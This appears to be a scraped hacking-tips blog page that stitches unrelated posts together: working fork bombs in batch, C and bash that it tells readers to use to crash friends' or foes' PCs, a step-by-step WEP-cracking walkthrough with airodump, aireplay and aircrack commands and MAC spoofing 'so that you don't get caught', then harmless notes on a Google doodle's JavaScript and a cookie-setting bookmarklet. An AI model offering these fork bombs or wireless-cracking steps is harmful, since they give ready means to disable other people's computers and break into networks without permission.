Here is how to make it.

Notepad Fork Bomb

Open up notepad and type:

%0|%0

and save it as fork.bat Yep..its a virus of just 5 characters .
On double clicking this file,it will lead to total CPU jam by opening about 500+ process of command prompt.

C Fork Bomb

Here is a in C++ version of Fork bomb.

#include <unistd.h>
int main(void)
{
  while(1)
    fork();
  return 0;
}

Shell Script Fork Bomb

And a shell (Unix/bash) version.

: (){ : |:& };:

Once a successful fork bomb has activated in a system, one may have to reboot to resume normal operation. Stopping a fork bomb requires destroying all running instances of it. Trying to use a program to kill the rogue processes normally requires creating another process a difficult or impossible task as it will totally use memory for its instances.
You can get creative and try to use program executables or call system applications or utilities recursively in the same manner and increase the damage manifolds. Let your creativity run loose.
Use it for crashing your friends/foe’s PC
Cheers

GETTING BACKTRACK

BackTrack is a slax based top rated Linux live distribution focused on penetration testing which consists of more than 300 up to date tools along with the ability of customizing scripts, configuring and modding kernels which makes it a true gem and a must have for every security enthusiastic out there. The best part – Its free and you can download it from – Remote Exploit

SETTING UP THE CARD AND THE CONSOLE

Boot up Backtrack on your virtual machine/laptop and open up the command console and type the commands as they are given -

ifconfig

This is the Linux equivalent of ipconfig, you will see the network adaptors in your system. See which one is for Wi-Fi. A few examples are wlan0, wifi0, etc.

airmon-ng

This command will initialize the Wi-Fi network monitoring & will tell you how many networks are in range.

airmon-ng stop [Wi-Fi Card name(without the quotes)]

This command will stop the cards broadcast and reception immediately

macchanger –mac [Desired MAC address] [Wi-Fi card name]

This command will change the current MAC address to any MAC address you desire, so that you don’t get caught later

airmon-ng start [Wi-Fi Card name]

You will see another extra adaptor that is set on monitor mode, use that adaptor for all further purposes in the following commands where – “[Wi-Fi card name]” appears

DUMPING PACKETS

Once you have set up all the parameters, you need to sniff and dump data packets in order to get the key. You can do so by using following commands. On the command console type these commands -

airodump-ng [Wi-Fi card name]

Copy and paste the BSSID in the following command and execute it

airodump-ng –c [Channel Number] –w [Desired Filename for later decryption] --bssid [BSSID] [Wi-Fi Card name]

As you execute the command, you will see a certain number of beacons and data packets that will be stored in the filename you have given. The file will be stored in the root of the system drive (Click on Computer and you will see the file).The file will be present in two formats: *.cap, *.txt.

SPEEDING UP THINGS

However packet dumping is quite a slow process, we need to speed up things to save our time. Open new console after the first data packet has been stored and type the command in the new console and execute it.

airreplay-ng -1 0 –a [BSSID] –h [FAKED MAC ADDRESS] -e [Wi-Fi name (you wish to hack)] [Wi-Fi card name]

As you type this command you will see that the data packets required for breaking the key will increase dramatically thereby saving you a lot of time.

REVEALING WEP KEY

Open another console once you have around 20,000 data packets and type the following command to reveal the WEP key.

aircrack-ng –n 64 –b [BSSID] [Filename without the extension]

As you type this command, you will see that a key will appear in front of you in the given below format:
XX:XX:XX:XX

It is not necessary that the key should have exactly the same digits as shown above so please don’t freak out if you see a 10 digit or 14 digit key. Also if the decryption fails, you can change the bit level of the decryption in the command:

aircrack-ng –n [BIT LEVEL] –b [BSSID] [Filename without extension]

Remember, the bit level should be a number of 2n where n:1,2,3,4…
e.g.

aircrack-ng –n 32 –b [BSSID] [Filename without the extension]
OR
aircrack-ng –n 128 –b [BSSID] [Filename without the extension] etc. etc.

Now just login using the WEP key you got.

Cheers..

Today Google is celebrating 366th birthday of Sir Isaac Newton and they have changed the logo on their website. But this time they have added an animated doodle of falling apple.

Google believe in simplicity and thus the animated doodle is not a GIF or Flash but simple JavaScript to animate the image.

<img width="384" height="138" border="0" onload="window.lol&amp;&amp;lol();setTimeout(function(){var h=0,v=1,f=document.getElementById('fall'),i=setInterval(function(){if(f){var r=parseInt(f.style.right)+h,b=parseInt(f.style.bottom)-v;f.style.right=r+'px';f.style.bottom=b+'px';if(b>-210){v+=2}else{h=(v>9)?v*0.1:0;v*=(v>9)?-0.3:0}}},25);google.rein&amp;&amp;google.rein.push(function(){clearInterval(i);h=0;v=1})},2000)" style="margin-top: -1.22em;" id="logo" title="Birthday of Sir Isaac Newton" alt="Birthday of Sir Isaac Newton" src="/logos/newton10-tree.jpg"/>

Google Wave has its own similar feature which is shown when Wave is down for maintenance.

It seems that Google Wave’s maintenance page can be still seen when the service is up and running:
http://wave.google.com/maintenance/index.html

For those who know jQuery, try to see the source code of the above Google Wave failwhale page. They have used jQuery for animating the clouds and waves.

To enable this feature follow the simple steps:

1. Goto google.com
2. Paste the following code into the address bar of your

   browser:javascript:void(document.cookie="PREF=ID=2602f2ce49362929:U=7b6893b1882d5a94:TM=1239881060:LM=1254195610:L=0qXJlAA:GM=1:S=CwDGQD20E8U14zDg;path=/;
   domain=.google.com");
   

3. Hit enter or ‘go’ to run it (you have to be on google.com at the time). It will not give you any feedback, it will just run and set the cookie.
4. Refresh the page.

If you fade up with this feature and want your old Google homepage back; Just clear the cookies from your browser and it will reset your Google homepage.
